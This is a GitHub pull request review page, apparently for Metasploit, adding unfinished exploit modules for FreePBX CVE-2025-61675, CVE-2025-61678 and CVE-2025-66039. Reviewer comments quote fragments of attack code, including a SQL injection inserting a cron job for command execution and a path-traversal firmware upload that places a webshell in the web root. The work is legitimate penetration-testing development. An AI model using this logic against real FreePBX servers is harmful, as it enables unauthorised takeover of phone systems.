-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Adds modules for multiple CVEs for FreePBX (CVE-2025-61675, CVE-2025-61678, CVE-2025-66039) #20846
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Adds modules for multiple CVEs for FreePBX (CVE-2025-61675, CVE-2025-61678, CVE-2025-66039) #20846
Conversation
|
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'FreePB endpoint SQLi to RCE', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| 'Name' => 'FreePB endpoint SQLi to RCE', | |
| 'Name' => 'FreePBX endpoint SQLi to RCE', |
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'FreePBX firmeware file upload', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| 'Name' => 'FreePBX firmeware file upload', | |
| 'Name' => 'FreePBX firmware file upload', |
| info, | ||
| 'Name' => 'FreePBX Custom Extension SQL Injection', | ||
| 'Description' => %q{ | ||
| FreePBX versions prior to 16.0.44 and 17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61675, in the context of this module. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a new fake user and effectively grants an attacker access to the administration. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| FreePBX versions prior to 16.0.44 and 17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61675, in the context of this module. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a new fake user and effectively grants an attacker access to the administration. | |
| FreePBX versions prior to 16.0.44 and 17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61675, in the context of this module. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a new administrative user. |
| ) | ||
| ) | ||
| register_options([ | ||
| OptString.new('USERNAME', [true, 'The valid FreePBX user', 'admin']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| OptString.new('USERNAME', [true, 'The valid FreePBX user', 'admin']), | |
| OptString.new('USERNAME', [true, 'A valid FreePBX user', 'admin']), |
| authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the | ||
| SQL injection in the custom extension component. | ||
| The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a | ||
| new fake user and effectively grants an attacker access to the administration. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| new fake user and effectively grants an attacker access to the administration. | |
| new administrative user. |
| ### USERNAME | ||
|
|
||
| Performing authentication bypass requires the username of an existing user. | ||
| This username is used in the Authorization header along with a random password. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| This username is used in the Authorization header along with a random password. |
This line is confusing and necessary in my opinion.
| ### FAKE_USERNAME | ||
|
|
||
| Username for fake injected user. | ||
|
|
||
| ### FAKE_PASSWORD | ||
|
|
||
| Password for fake injected user. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
A quick git grep shows that NEW_USER or/and NEW_USERNAME are the prefered nomenclature.
There is nothing "fake" about the new user.
| def exploit | ||
| @job_name = Rex::Text.rand_text_alpha(4..7) | ||
|
|
||
| rce_payload = 'INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What if there is already a cronjob with the random name?
| @@ -0,0 +1,140 @@ | |||
| ## | |||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What's the point/advantage of this module compared to the cron-based one? Couldn't' the two be merged?
|
|
||
| register_options( | ||
| [ | ||
| OptString.new('USERNAME', [true, 'The valid FreePBX user', 'admin']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| OptString.new('USERNAME', [true, 'The valid FreePBX user', 'admin']), | |
| OptString.new('USERNAME', [true, 'A valid FreePBX user', 'admin']), |
| form_data.add_part(SecureRandom.uuid, nil, nil, 'form-data; name="dzuuid"') | ||
| form_data.add_part('0', nil, nil, 'form-data; name="dzchunkindex"') | ||
| form_data.add_part(payload.encoded.length.to_s, nil, nil, 'form-data; name="dztotalfilesize"') | ||
| form_data.add_part('2000000', nil, nil, 'form-data; name="dzchunksize"') | ||
| form_data.add_part('1', nil, nil, 'form-data; name="dztotalchunkcount"') | ||
| form_data.add_part('0', nil, nil, 'form-data; name="dzchunkbyteoffset"') | ||
| form_data.add_part("../../../var/www/html/#{@target_dir}", nil, nil, 'form-data; name="fwbrand"') | ||
| form_data.add_part('1', nil, nil, 'form-data; name="fwmodel"') | ||
| form_data.add_part('1', nil, nil, 'form-data; name="fwversion"') | ||
| form_data.add_part(payload.encoded, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{@target_payload}")) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can the values be randomized a bit?
| form_data.add_part('2000000', nil, nil, 'form-data; name="dzchunksize"') | ||
| form_data.add_part('1', nil, nil, 'form-data; name="dztotalchunkcount"') | ||
| form_data.add_part('0', nil, nil, 'form-data; name="dzchunkbyteoffset"') | ||
| form_data.add_part("../../../var/www/html/#{@target_dir}", nil, nil, 'form-data; name="fwbrand"') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is FreePBX always installed in /var/www/?
This PR adds modules for multiple CVEs (CVE-2025-61675, CVE-2025-61678, CVE-2025-66039). This PR works as placeholder for now as modules are not finished, but contain the basic exploitation logic. All modules use authentication bypass (CVE-2025-66039). The CVE-2025-61675 describes multiple SQL injections, but the SQLi modules uses only one variant (one for user insertion, the other one for RCE).
WORK IN PROGRESS, TREAT AS SUCHThe CVE-2025-66039 represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user.
The CVE-2025-61675 describes multiple SQL injections; the modules exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a new fake user and effectively grants an attacker access to the administration.
The CVE-2025-61678 allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server’s directory.
To setup the environment, perform minimal installation from here. Note that Authorization Type needs to be set to webserver: